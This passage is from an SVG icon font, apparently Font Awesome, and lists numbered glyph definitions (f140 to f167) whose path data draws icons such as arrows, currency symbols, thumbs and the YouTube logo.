322 <glyph unicode="&#xf140;" d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM1152 640q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1280 640q0 -212 -150 -362t-362 -150t-362 150 t-150 362t150 362t362 150t362 -150t150 -362zM1408 640q0 130 -51 248.5t-136.5 204t-204 136.5t-248.5 51t-248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5zM1536 640 q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
323 <glyph unicode="&#xf141;" horiz-adv-x="1408" d="M384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM896 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM1408 800v-192q0 -40 -28 -68t-68 -28h-192 q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
324 <glyph unicode="&#xf142;" horiz-adv-x="384" d="M384 288v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 800v-192q0 -40 -28 -68t-68 -28h-192q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68zM384 1312v-192q0 -40 -28 -68t-68 -28h-192 q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h192q40 0 68 -28t28 -68z" />
325 <glyph unicode="&#xf143;" d="M512 256q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM863 162q-13 232 -177 396t-396 177q-14 1 -24 -9t-10 -23v-128q0 -13 8.5 -22t21.5 -10q154 -11 264 -121t121 -264q1 -13 10 -21.5t22 -8.5h128q13 0 23 10 t9 24zM1247 161q-5 154 -56 297.5t-139.5 260t-205 205t-260 139.5t-297.5 56q-14 1 -23 -9q-10 -10 -10 -23v-128q0 -13 9 -22t22 -10q204 -7 378 -111.5t278.5 -278.5t111.5 -378q1 -13 10 -22t22 -9h128q13 0 23 10q11 9 9 23zM1536 1120v-960q0 -119 -84.5 -203.5 t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
326 <glyph unicode="&#xf144;" d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM1152 585q32 18 32 55t-32 55l-544 320q-31 19 -64 1q-32 -19 -32 -56v-640q0 -37 32 -56 q16 -8 32 -8q17 0 32 9z" />
327 <glyph unicode="&#xf145;" horiz-adv-x="1792" d="M1024 1084l316 -316l-572 -572l-316 316zM813 105l618 618q19 19 19 45t-19 45l-362 362q-18 18 -45 18t-45 -18l-618 -618q-19 -19 -19 -45t19 -45l362 -362q18 -18 45 -18t45 18zM1702 742l-907 -908q-37 -37 -90.5 -37t-90.5 37l-126 126q56 56 56 136t-56 136 t-136 56t-136 -56l-125 126q-37 37 -37 90.5t37 90.5l907 906q37 37 90.5 37t90.5 -37l125 -125q-56 -56 -56 -136t56 -136t136 -56t136 56l126 -125q37 -37 37 -90.5t-37 -90.5z" />
328 <glyph unicode="&#xf146;" d="M1280 576v128q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h896q26 0 45 19t19 45zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5 t84.5 -203.5z" />
329 <glyph unicode="&#xf147;" horiz-adv-x="1408" d="M1152 736v-64q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h832q14 0 23 -9t9 -23zM1280 288v832q0 66 -47 113t-113 47h-832q-66 0 -113 -47t-47 -113v-832q0 -66 47 -113t113 -47h832q66 0 113 47t47 113zM1408 1120v-832q0 -119 -84.5 -203.5 t-203.5 -84.5h-832q-119 0 -203.5 84.5t-84.5 203.5v832q0 119 84.5 203.5t203.5 84.5h832q119 0 203.5 -84.5t84.5 -203.5z" />
330 <glyph unicode="&#xf148;" horiz-adv-x="1024" d="M1018 933q-18 -37 -58 -37h-192v-864q0 -14 -9 -23t-23 -9h-704q-21 0 -29 18q-8 20 4 35l160 192q9 11 25 11h320v640h-192q-40 0 -58 37q-17 37 9 68l320 384q18 22 49 22t49 -22l320 -384q27 -32 9 -68z" />
331 <glyph unicode="&#xf149;" horiz-adv-x="1024" d="M32 1280h704q13 0 22.5 -9.5t9.5 -23.5v-863h192q40 0 58 -37t-9 -69l-320 -384q-18 -22 -49 -22t-49 22l-320 384q-26 31 -9 69q18 37 58 37h192v640h-320q-14 0 -25 11l-160 192q-13 14 -4 34q9 19 29 19z" />
332 <glyph unicode="&#xf14a;" d="M685 237l614 614q19 19 19 45t-19 45l-102 102q-19 19 -45 19t-45 -19l-467 -467l-211 211q-19 19 -45 19t-45 -19l-102 -102q-19 -19 -19 -45t19 -45l358 -358q19 -19 45 -19t45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5 t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
333 <glyph unicode="&#xf14b;" d="M404 428l152 -152l-52 -52h-56v96h-96v56zM818 818q14 -13 -3 -30l-291 -291q-17 -17 -30 -3q-14 13 3 30l291 291q17 17 30 3zM544 128l544 544l-288 288l-544 -544v-288h288zM1152 736l92 92q28 28 28 68t-28 68l-152 152q-28 28 -68 28t-68 -28l-92 -92zM1536 1120 v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
334 <glyph unicode="&#xf14c;" d="M1280 608v480q0 26 -19 45t-45 19h-480q-42 0 -59 -39q-17 -41 14 -70l144 -144l-534 -534q-19 -19 -19 -45t19 -45l102 -102q19 -19 45 -19t45 19l534 534l144 -144q18 -19 45 -19q12 0 25 5q39 17 39 59zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960 q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
335 <glyph unicode="&#xf14d;" d="M1005 435l352 352q19 19 19 45t-19 45l-352 352q-30 31 -69 14q-40 -17 -40 -59v-160q-119 0 -216 -19.5t-162.5 -51t-114 -79t-76.5 -95.5t-44.5 -109t-21.5 -111.5t-5 -110.5q0 -181 167 -404q10 -12 25 -12q7 0 13 3q22 9 19 33q-44 354 62 473q46 52 130 75.5 t224 23.5v-160q0 -42 40 -59q12 -5 24 -5q26 0 45 19zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
336 <glyph unicode="&#xf14e;" d="M640 448l256 128l-256 128v-256zM1024 1039v-542l-512 -256v542zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103 t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
337 <glyph unicode="&#xf150;" d="M1145 861q18 -35 -5 -66l-320 -448q-19 -27 -52 -27t-52 27l-320 448q-23 31 -5 66q17 35 57 35h640q40 0 57 -35zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120 v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
338 <glyph unicode="&#xf151;" d="M1145 419q-17 -35 -57 -35h-640q-40 0 -57 35q-18 35 5 66l320 448q19 27 52 27t52 -27l320 -448q23 -31 5 -66zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1536 1120v-960 q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
339 <glyph unicode="&#xf152;" d="M1088 640q0 -33 -27 -52l-448 -320q-31 -23 -66 -5q-35 17 -35 57v640q0 40 35 57q35 18 66 -5l448 -320q27 -19 27 -52zM1280 160v960q0 14 -9 23t-23 9h-960q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h960q14 0 23 9t9 23zM1536 1120v-960q0 -119 -84.5 -203.5 t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
340 <glyph unicode="&#xf153;" horiz-adv-x="1024" d="M976 229l35 -159q3 -12 -3 -22.5t-17 -14.5l-5 -1q-4 -2 -10.5 -3.5t-16 -4.5t-21.5 -5.5t-25.5 -5t-30 -5t-33.5 -4.5t-36.5 -3t-38.5 -1q-234 0 -409 130.5t-238 351.5h-95q-13 0 -22.5 9.5t-9.5 22.5v113q0 13 9.5 22.5t22.5 9.5h66q-2 57 1 105h-67q-14 0 -23 9 t-9 23v114q0 14 9 23t23 9h98q67 210 243.5 338t400.5 128q102 0 194 -23q11 -3 20 -15q6 -11 3 -24l-43 -159q-3 -13 -14 -19.5t-24 -2.5l-4 1q-4 1 -11.5 2.5l-17.5 3.5t-22.5 3.5t-26 3t-29 2.5t-29.5 1q-126 0 -226 -64t-150 -176h468q16 0 25 -12q10 -12 7 -26 l-24 -114q-5 -26 -32 -26h-488q-3 -37 0 -105h459q15 0 25 -12q9 -12 6 -27l-24 -112q-2 -11 -11 -18.5t-20 -7.5h-387q48 -117 149.5 -185.5t228.5 -68.5q18 0 36 1.5t33.5 3.5t29.5 4.5t24.5 5t18.5 4.5l12 3l5 2q13 5 26 -2q12 -7 15 -21z" />
341 <glyph unicode="&#xf154;" horiz-adv-x="1024" d="M1020 399v-367q0 -14 -9 -23t-23 -9h-956q-14 0 -23 9t-9 23v150q0 13 9.5 22.5t22.5 9.5h97v383h-95q-14 0 -23 9.5t-9 22.5v131q0 14 9 23t23 9h95v223q0 171 123.5 282t314.5 111q185 0 335 -125q9 -8 10 -20.5t-7 -22.5l-103 -127q-9 -11 -22 -12q-13 -2 -23 7 q-5 5 -26 19t-69 32t-93 18q-85 0 -137 -47t-52 -123v-215h305q13 0 22.5 -9t9.5 -23v-131q0 -13 -9.5 -22.5t-22.5 -9.5h-305v-379h414v181q0 13 9 22.5t23 9.5h162q14 0 23 -9.5t9 -22.5z" />
342 <glyph unicode="&#xf155;" horiz-adv-x="1024" d="M978 351q0 -153 -99.5 -263.5t-258.5 -136.5v-175q0 -14 -9 -23t-23 -9h-135q-13 0 -22.5 9.5t-9.5 22.5v175q-66 9 -127.5 31t-101.5 44.5t-74 48t-46.5 37.5t-17.5 18q-17 21 -2 41l103 135q7 10 23 12q15 2 24 -9l2 -2q113 -99 243 -125q37 -8 74 -8q81 0 142.5 43 t61.5 122q0 28 -15 53t-33.5 42t-58.5 37.5t-66 32t-80 32.5q-39 16 -61.5 25t-61.5 26.5t-62.5 31t-56.5 35.5t-53.5 42.5t-43.5 49t-35.5 58t-21 66.5t-8.5 78q0 138 98 242t255 134v180q0 13 9.5 22.5t22.5 9.5h135q14 0 23 -9t9 -23v-176q57 -6 110.5 -23t87 -33.5 t63.5 -37.5t39 -29t15 -14q17 -18 5 -38l-81 -146q-8 -15 -23 -16q-14 -3 -27 7q-3 3 -14.5 12t-39 26.5t-58.5 32t-74.5 26t-85.5 11.5q-95 0 -155 -43t-60 -111q0 -26 8.5 -48t29.5 -41.5t39.5 -33t56 -31t60.5 -27t70 -27.5q53 -20 81 -31.5t76 -35t75.5 -42.5t62 -50 t53 -63.5t31.5 -76.5t13 -94z" />
343 <glyph unicode="&#xf156;" horiz-adv-x="898" d="M898 1066v-102q0 -14 -9 -23t-23 -9h-168q-23 -144 -129 -234t-276 -110q167 -178 459 -536q14 -16 4 -34q-8 -18 -29 -18h-195q-16 0 -25 12q-306 367 -498 571q-9 9 -9 22v127q0 13 9.5 22.5t22.5 9.5h112q132 0 212.5 43t102.5 125h-427q-14 0 -23 9t-9 23v102 q0 14 9 23t23 9h413q-57 113 -268 113h-145q-13 0 -22.5 9.5t-9.5 22.5v133q0 14 9 23t23 9h832q14 0 23 -9t9 -23v-102q0 -14 -9 -23t-23 -9h-233q47 -61 64 -144h171q14 0 23 -9t9 -23z" />
344 <glyph unicode="&#xf157;" horiz-adv-x="1027" d="M603 0h-172q-13 0 -22.5 9t-9.5 23v330h-288q-13 0 -22.5 9t-9.5 23v103q0 13 9.5 22.5t22.5 9.5h288v85h-288q-13 0 -22.5 9t-9.5 23v104q0 13 9.5 22.5t22.5 9.5h214l-321 578q-8 16 0 32q10 16 28 16h194q19 0 29 -18l215 -425q19 -38 56 -125q10 24 30.5 68t27.5 61 l191 420q8 19 29 19h191q17 0 27 -16q9 -14 1 -31l-313 -579h215q13 0 22.5 -9.5t9.5 -22.5v-104q0 -14 -9.5 -23t-22.5 -9h-290v-85h290q13 0 22.5 -9.5t9.5 -22.5v-103q0 -14 -9.5 -23t-22.5 -9h-290v-330q0 -13 -9.5 -22.5t-22.5 -9.5z" />
345 <glyph unicode="&#xf158;" horiz-adv-x="1280" d="M1043 971q0 100 -65 162t-171 62h-320v-448h320q106 0 171 62t65 162zM1280 971q0 -193 -126.5 -315t-326.5 -122h-340v-118h505q14 0 23 -9t9 -23v-128q0 -14 -9 -23t-23 -9h-505v-192q0 -14 -9.5 -23t-22.5 -9h-167q-14 0 -23 9t-9 23v192h-224q-14 0 -23 9t-9 23v128 q0 14 9 23t23 9h224v118h-224q-14 0 -23 9t-9 23v149q0 13 9 22.5t23 9.5h224v629q0 14 9 23t23 9h539q200 0 326.5 -122t126.5 -315z" />
346 <glyph unicode="&#xf159;" horiz-adv-x="1792" d="M514 341l81 299h-159l75 -300q1 -1 1 -3t1 -3q0 1 0.5 3.5t0.5 3.5zM630 768l35 128h-292l32 -128h225zM822 768h139l-35 128h-70zM1271 340l78 300h-162l81 -299q0 -1 0.5 -3.5t1.5 -3.5q0 1 0.5 3t0.5 3zM1382 768l33 128h-297l34 -128h230zM1792 736v-64q0 -14 -9 -23 t-23 -9h-213l-164 -616q-7 -24 -31 -24h-159q-24 0 -31 24l-166 616h-209l-167 -616q-7 -24 -31 -24h-159q-11 0 -19.5 7t-10.5 17l-160 616h-208q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h175l-33 128h-142q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h109l-89 344q-5 15 5 28 q10 12 26 12h137q26 0 31 -24l90 -360h359l97 360q7 24 31 24h126q24 0 31 -24l98 -360h365l93 360q5 24 31 24h137q16 0 26 -12q10 -13 5 -28l-91 -344h111q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-145l-34 -128h179q14 0 23 -9t9 -23z" />
347 <glyph unicode="&#xf15a;" horiz-adv-x="1280" d="M1167 896q18 -182 -131 -258q117 -28 175 -103t45 -214q-7 -71 -32.5 -125t-64.5 -89t-97 -58.5t-121.5 -34.5t-145.5 -15v-255h-154v251q-80 0 -122 1v-252h-154v255q-18 0 -54 0.5t-55 0.5h-200l31 183h111q50 0 58 51v402h16q-6 1 -16 1v287q-13 68 -89 68h-111v164 l212 -1q64 0 97 1v252h154v-247q82 2 122 2v245h154v-252q79 -7 140 -22.5t113 -45t82.5 -78t36.5 -114.5zM952 351q0 36 -15 64t-37 46t-57.5 30.5t-65.5 18.5t-74 9t-69 3t-64.5 -1t-47.5 -1v-338q8 0 37 -0.5t48 -0.5t53 1.5t58.5 4t57 8.5t55.5 14t47.5 21t39.5 30 t24.5 40t9.5 51zM881 827q0 33 -12.5 58.5t-30.5 42t-48 28t-55 16.5t-61.5 8t-58 2.5t-54 -1t-39.5 -0.5v-307q5 0 34.5 -0.5t46.5 0t50 2t55 5.5t51.5 11t48.5 18.5t37 27t27 38.5t9 51z" />
348 <glyph unicode="&#xf15b;" d="M1024 1024v472q22 -14 36 -28l408 -408q14 -14 28 -36h-472zM896 992q0 -40 28 -68t68 -28h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544z" />
349 <glyph unicode="&#xf15c;" d="M1468 1060q14 -14 28 -36h-472v472q22 -14 36 -28zM992 896h544v-1056q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h800v-544q0 -40 28 -68t68 -28zM1152 160v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704 q14 0 23 9t9 23zM1152 416v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1152 672v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23z" />
350 <glyph unicode="&#xf15d;" horiz-adv-x="1664" d="M1191 1128h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1572 -23 v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -11v-2l14 2q9 2 30 2h248v119h121zM1661 874v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162 l230 -662h70z" />
351 <glyph unicode="&#xf15e;" horiz-adv-x="1664" d="M1191 104h177l-72 218l-12 47q-2 16 -2 20h-4l-3 -20q0 -1 -3.5 -18t-7.5 -29zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1661 -150 v-106h-288v106h75l-47 144h-243l-47 -144h75v-106h-287v106h70l230 662h162l230 -662h70zM1572 1001v-233h-584v90l369 529q12 18 21 27l11 9v3q-2 0 -6.5 -0.5t-7.5 -0.5q-12 -3 -30 -3h-232v-115h-120v229h567v-89l-369 -530q-6 -8 -21 -26l-11 -10v-3l14 3q9 1 30 1h248 v119h121z" />
352 <glyph unicode="&#xf160;" horiz-adv-x="1792" d="M736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23zM1792 -32v-192q0 -14 -9 -23t-23 -9h-832q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832 q14 0 23 -9t9 -23zM1600 480v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1408 992v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1216 1504v-192q0 -14 -9 -23t-23 -9h-256 q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23z" />
353 <glyph unicode="&#xf161;" horiz-adv-x="1792" d="M1216 -32v-192q0 -14 -9 -23t-23 -9h-256q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h256q14 0 23 -9t9 -23zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192 q14 0 23 -9t9 -23zM1408 480v-192q0 -14 -9 -23t-23 -9h-448q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h448q14 0 23 -9t9 -23zM1600 992v-192q0 -14 -9 -23t-23 -9h-640q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h640q14 0 23 -9t9 -23zM1792 1504v-192q0 -14 -9 -23t-23 -9h-832 q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h832q14 0 23 -9t9 -23z" />
354 <glyph unicode="&#xf162;" d="M1346 223q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9t9 -23 zM1486 165q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5 t82 -252.5zM1456 882v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165z" />
355 <glyph unicode="&#xf163;" d="M1346 1247q0 63 -44 116t-103 53q-52 0 -83 -37t-31 -94t36.5 -95t104.5 -38q50 0 85 27t35 68zM736 96q0 -12 -10 -24l-319 -319q-10 -9 -23 -9q-12 0 -23 9l-320 320q-15 16 -7 35q8 20 30 20h192v1376q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1376h192q14 0 23 -9 t9 -23zM1456 -142v-114h-469v114h167v432q0 7 0.5 19t0.5 17v16h-2l-7 -12q-8 -13 -26 -31l-62 -58l-82 86l192 185h123v-654h165zM1486 1189q0 -62 -13 -121.5t-41 -114t-68 -95.5t-98.5 -65.5t-127.5 -24.5q-62 0 -108 16q-24 8 -42 15l39 113q15 -7 31 -11q37 -13 75 -13 q84 0 134.5 58.5t66.5 145.5h-2q-21 -23 -61.5 -37t-84.5 -14q-106 0 -173 71.5t-67 172.5q0 105 72 178t181 73q123 0 205 -94.5t82 -252.5z" />
356 <glyph unicode="&#xf164;" horiz-adv-x="1664" d="M256 192q0 26 -19 45t-45 19q-27 0 -45.5 -19t-18.5 -45q0 -27 18.5 -45.5t45.5 -18.5q26 0 45 18.5t19 45.5zM416 704v-640q0 -26 -19 -45t-45 -19h-288q-26 0 -45 19t-19 45v640q0 26 19 45t45 19h288q26 0 45 -19t19 -45zM1600 704q0 -86 -55 -149q15 -44 15 -76 q3 -76 -43 -137q17 -56 0 -117q-15 -57 -54 -94q9 -112 -49 -181q-64 -76 -197 -78h-36h-76h-17q-66 0 -144 15.5t-121.5 29t-120.5 39.5q-123 43 -158 44q-26 1 -45 19.5t-19 44.5v641q0 25 18 43.5t43 20.5q24 2 76 59t101 121q68 87 101 120q18 18 31 48t17.5 48.5 t13.5 60.5q7 39 12.5 61t19.5 52t34 50q19 19 45 19q46 0 82.5 -10.5t60 -26t40 -40.5t24 -45t12 -50t5 -45t0.5 -39q0 -38 -9.5 -76t-19 -60t-27.5 -56q-3 -6 -10 -18t-11 -22t-8 -24h277q78 0 135 -57t57 -135z" />
357 <glyph unicode="&#xf165;" horiz-adv-x="1664" d="M256 960q0 -26 -19 -45t-45 -19q-27 0 -45.5 19t-18.5 45q0 27 18.5 45.5t45.5 18.5q26 0 45 -18.5t19 -45.5zM416 448v640q0 26 -19 45t-45 19h-288q-26 0 -45 -19t-19 -45v-640q0 -26 19 -45t45 -19h288q26 0 45 19t19 45zM1545 597q55 -61 55 -149q-1 -78 -57.5 -135 t-134.5 -57h-277q4 -14 8 -24t11 -22t10 -18q18 -37 27 -57t19 -58.5t10 -76.5q0 -24 -0.5 -39t-5 -45t-12 -50t-24 -45t-40 -40.5t-60 -26t-82.5 -10.5q-26 0 -45 19q-20 20 -34 50t-19.5 52t-12.5 61q-9 42 -13.5 60.5t-17.5 48.5t-31 48q-33 33 -101 120q-49 64 -101 121 t-76 59q-25 2 -43 20.5t-18 43.5v641q0 26 19 44.5t45 19.5q35 1 158 44q77 26 120.5 39.5t121.5 29t144 15.5h17h76h36q133 -2 197 -78q58 -69 49 -181q39 -37 54 -94q17 -61 0 -117q46 -61 43 -137q0 -32 -15 -76z" />
358 <glyph unicode="&#xf166;" d="M919 233v157q0 50 -29 50q-17 0 -33 -16v-224q16 -16 33 -16q29 0 29 49zM1103 355h66v34q0 51 -33 51t-33 -51v-34zM532 621v-70h-80v-423h-74v423h-78v70h232zM733 495v-367h-67v40q-39 -45 -76 -45q-33 0 -42 28q-6 16 -6 54v290h66v-270q0 -24 1 -26q1 -15 15 -15 q20 0 42 31v280h67zM985 384v-146q0 -52 -7 -73q-12 -42 -53 -42q-35 0 -68 41v-36h-67v493h67v-161q32 40 68 40q41 0 53 -42q7 -21 7 -74zM1236 255v-9q0 -29 -2 -43q-3 -22 -15 -40q-27 -40 -80 -40q-52 0 -81 38q-21 27 -21 86v129q0 59 20 86q29 38 80 38t78 -38 q21 -28 21 -86v-76h-133v-65q0 -51 34 -51q24 0 30 26q0 1 0.5 7t0.5 16.5v21.5h68zM785 1079v-156q0 -51 -32 -51t-32 51v156q0 52 32 52t32 -52zM1318 366q0 177 -19 260q-10 44 -43 73.5t-76 34.5q-136 15 -412 15q-275 0 -411 -15q-44 -5 -76.5 -34.5t-42.5 -73.5 q-20 -87 -20 -260q0 -176 20 -260q10 -43 42.5 -73t75.5 -35q137 -15 412 -15t412 15q43 5 75.5 35t42.5 73q20 84 20 260zM563 1017l90 296h-75l-51 -195l-53 195h-78l24 -69t23 -69q35 -103 46 -158v-201h74v201zM852 936v130q0 58 -21 87q-29 38 -78 38q-51 0 -78 -38 q-21 -29 -21 -87v-130q0 -58 21 -87q27 -38 78 -38q49 0 78 38q21 27 21 87zM1033 816h67v370h-67v-283q-22 -31 -42 -31q-15 0 -16 16q-1 2 -1 26v272h-67v-293q0 -37 6 -55q11 -27 43 -27q36 0 77 45v-40zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960 q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
359 <glyph unicode="&#xf167;" d="M971 292v-211q0 -67 -39 -67q-23 0 -45 22v301q22 22 45 22q39 0 39 -67zM1309 291v-46h-90v46q0 68 45 68t45 -68zM343 509h107v94h-312v-94h105v-569h100v569zM631 -60h89v494h-89v-378q-30 -42 -57 -42q-18 0 -21 21q-1 3 -1 35v364h-89v-391q0 -49 8 -73 q12 -37 58 -37q48 0 102 61v-54zM1060 88v197q0 73 -9 99q-17 56 -71 56q-50 0 -93 -54v217h-89v-663h89v48q45 -55 93 -55q54 0 71 55q9 27 9 100zM1398 98v13h-91q0 -51 -2 -61q-7 -36 -40 -36q-46 0 -46 69v87h179v103q0 79 -27 116q-39 51 -106 51q-68 0 -107 -51 q-28 -37 -28 -116v-173q0 -79 29 -116q39 -51 108 -51q72 0 108 53q18 27 21 54q2 9 2 58zM790 1011v210q0 69 -43 69t-43 -69v-210q0 -70 43 -70t43 70zM1509 260q0 -234 -26 -350q-14 -59 -58 -99t-102 -46q-184 -21 -555 -21t-555 21q-58 6 -102.5 46t-57.5 99 q-26 112 -26 350q0 234 26 350q14 59 58 99t103 47q183 20 554 20t555 -20q58 -7 102.5 -47t57.5 -99q26 -112 26 -350zM511 1536h102l-121 -399v-271h-100v271q-14 74 -61 212q-37 103 -65 187h106l71 -263zM881 1203v-175q0 -81 -28 -118q-37 -51 -106 -51q-67 0 -105 51 q-28 38 -28 118v175q0 80 28 117q38 51 105 51q69 0 106 -51q28 -37 28 -117zM1216 1365v-499h-91v55q-53 -62 -103 -62q-46 0 -59 37q-8 24 -8 75v394h91v-367q0 -33 1 -35q3 -22 21 -22q27 0 57 43v381h91z" />
